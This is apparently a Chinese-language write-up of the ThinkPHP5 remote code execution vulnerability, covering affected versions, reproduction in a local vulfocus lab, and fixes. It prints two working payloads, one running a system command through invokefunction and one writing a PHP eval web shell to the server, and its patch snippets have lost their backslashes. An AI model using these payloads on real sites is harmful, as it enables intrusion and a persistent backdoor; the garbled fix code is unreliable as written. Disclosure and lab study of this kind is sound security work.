一、漏洞描述
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
二、影响产品
版本名 是否可被攻击 攻击条件 5.0.0 否 无 5.0.1 否 无 5.0.2 否 无 5.0.3 否 无 5.0.4 否 无 5.0.5 否 无 5.0.6 否 无 5.0.7 否 无 5.0.8 是 无需开启debug 5.0.9 是 无需开启debug 5.0.10 是 无需开启debug 5.0.11 是 无需开启debug 5.0.12 是 无需开启debug 5.0.13 是 需开启debug 5.0.14 是 需开启debug 5.0.15 是 需开启debug 5.0.16 是 需开启debug 5.0.17 是 需开启debug 5.0.18 是 需开启debug 5.0.19 是 需开启debug 5.0.20 否 无 5.0.21 是 需开启debug 5.0.22 是 需开启debug 5.0.23 是 需开启debug
5.0.13~5.0.19和5.0.21~5.0.23的,这些版本默认情况下config中的app_debug配置项为false,需开启才能存在此漏洞。
简单测试了下,发现该靶场的thinkphp版本是:ThinkPHP V5.1.30
这里为了更好的去做一些详细的测试,我在本地通过docker搭建了vulfocus,因为在线的vulfocus时间太短了,如果去做一些测试是没有办法实现的。
3.漏洞复现
打开靶场环境,直接构造payload:
代码语言:javascript复制?s=index/thinkapp/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=ls /tmp
代码语言:javascript复制?s=index/thinktemplatedriverfile/write
&cacheFile=shell.php
&content=<
?php @eval($_POST[pass])
?>
4.Python代码编写POC实现:
5.修复意见
使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可
代码语言:javascript复制composer update topthink/framework
5.0版本 在thinkApp类的module方法的获取控制器的代码后面加上
代码语言:javascript复制if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
5.1版本 在thinkroutedispatchUrl类的parseUrl方法,解析控制器后加上
代码语言:javascript复制if ($controller && !preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}